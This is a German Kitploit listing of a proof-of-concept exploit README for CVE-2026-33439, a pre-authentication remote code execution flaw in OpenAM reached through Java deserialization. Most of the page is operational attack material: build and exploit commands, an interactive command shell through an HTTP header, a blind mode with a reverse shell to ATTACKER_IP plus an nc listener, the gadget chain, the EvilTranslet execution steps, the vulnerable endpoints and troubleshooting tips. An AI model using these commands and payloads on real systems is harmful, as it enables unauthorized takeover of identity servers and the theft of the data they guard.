Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/jonaschen0103/cve-2026-33439-poc
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed TeamingRemote-Access-Tool
GitHubjonaschen0103/cve-2026-33439-poc

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

CVE-2026-33439-PoC

Python-PoC, das CVE-2026-33439 ausnutzt, eine Pre-Auth-RCE in OpenAM über Java-Deserialisierung des Parameters jato.clientSession, mit interaktiven und Blind-Shell-Modi.

Repository anzeigen
vor 4h 48mNoch nicht geprüft
Teilen

CVE-2026-33439 — OpenAM Pre-Auth RCE

Pre-Authentifizierungs-Remote-Code-Execution in OpenIdentityPlatform OpenAM <= 16.0.5 über unsichere Java-Deserialisierung des Parameters jato.clientSession (CVSS 9.8).

Nur für autorisierte Sicherheitstests.

Schnellstart

root@kitploit:~
# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py

# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

Voraussetzungen

  • Python 3.10+ (nur Standardbibliothek, kein pip install)
  • JDK 21 (für build.py — muss mit der JVM-Version des Zielservers übereinstimmen; JDK 25 erzeugt inkompatible serialisierte Objekte)

Zwei Modi

Interaktiver Modus (Standard) — Ausgabe in der HTTP-Antwort

Die EvilTranslet liest den HTTP-Header cmd aus der Anfrage, führt ihn aus und schreibt stdout direkt in die HTTP-Antwort. Kein Listener erforderlich.

root@kitploit:~
# Build interactive payload (no --command flag)
python build.py

# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"

# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell

Blinder Modus — für Reverse Shells / OOB

Der Befehl wird in den EvilTranslet-Bytecode eingebettet. Es wird keine Ausgabe zurückgegeben; verwenden Sie einen Listener (nc usw.), um Callbacks abzufangen.

root@kitploit:~
# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# Terminal 1: listener
nc -lvnp 4444

# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all

Alle Optionen

build.py

FlagBeschreibung
(keine Flags)Interaktives Payload erstellen (liest cmd-Header zur Laufzeit)
--command "CMD"Blindes Payload mit in den Bytecode eingebettetem CMD erstellen
--jars DIRLokales JAR-Verzeichnis anstelle des Downloads verwenden (Standard: ./libs)
--download-onlyNur JARs herunterladen, nicht kompilieren

exploit.py

FlagBeschreibung
--url URLZiel-URL (erforderlich) — vollständiger Endpunkt oder Basis-URL mit --probe/--all
--shellInteraktive Pseudo-Shell (interaktiver Modus)
--probeAnfälligen Endpunkt automatisch aus der Basis-URL erkennen
--allPayload an ALLE JATO-Endpunkte liefern (blinder Modus)
--method GET|POSTHTTP-Übertragungsmethode (Standard: GET)
--proxy URLHTTP-Proxy (z. B. http://127.0.0.1:8080 für Burp)
--timeout SECSAnfrage-Timeout (Standard: 15)
--verify-tlsTLS-Zertifikatsüberprüfung aktivieren
--debugDetails zu Anfrage/Antwort anzeigen

Payload-Transparenz

Der gesamte Quellcode ist im Repository — keine undurchsichtigen Blobs. Die Java-Quellen sind in build.py als lesbare String-Konstanten eingebettet. Überprüfen Sie nach dem Build die Ausgabe:

root@kitploit:~
python verify.py              # summary: classes, integrity, red-flag scan
python verify.py --strings    # all printable strings in the payload
python verify.py --hexdump    # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap

Gadget-Kette

root@kitploit:~
PriorityQueue.readObject()
  -> heapify() -> Column$ColumnComparator.compare()
    -> Column.getTable().isSortedAscending()
    -> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
      -> TemplatesImpl.getOutputProperties()
        -> defineTransletClasses() -> newInstance()
          -> EvilTranslet.<clinit>()  // command executes here

EvilTranslet (interaktiver Modus)

  1. Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — HTTP-Anfrage/-Antwort über den Webapp-Klassenlader abrufen
  2. request.getHeader("cmd") — den Befehl lesen
  3. new ProcessBuilder("/bin/sh", "-c", cmd) — ausführen
  4. response.reset() — vorherige JSP-Ausgabe löschen
  5. stdout als text/plain in die Antwort schreiben, dann den Ausgabestream schließen

EvilTranslet (blinder Modus)

  1. Runtime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — fire and forget

Anfällige Endpunkte

Jeder JATO-ViewBean-Endpunkt, der <jato:form>-Tags rendert und vor der Authentifizierung erreichbar ist:

EndpunktHinweise
/openam/ui/PWResetUserValidationPasswort-Zurücksetzung (am zuverlässigsten)
/openam/ui/PWResetQuestionSicherheitsfragen zur Passwort-Zurücksetzung
/openam/ui/LoginAnmeldeseite

Fehlerbehebung

SymptomUrsacheLösung
HTML-Seite anstelle der Befehlsausgabe zurückgegebenJSP überschreibt die Antwort--shell mit interaktivem Payload verwenden; oder in den blinden Modus wechseln
Deserialisierung wird nicht ausgelöstJDK-VersionskonfliktMit JDK 21 neu erstellen: export JAVA_HOME=/path/to/jdk-21
TLS-Handshake-TimeoutServer erfordert SNI-HostnamenZiel zu /etc/hosts hinzufügen und Hostnamen statt IP verwenden
javac nicht gefundenJDK nicht installiertapt install openjdk-21-jdk

Referenzen

  • NVD — CVE-2026-33439
  • OpenAM Advisory GHSA-2cqq-rpvq-g5qj
  • Broadcom Protection Bulletin

Lizenz

MIT

Tool herunterladen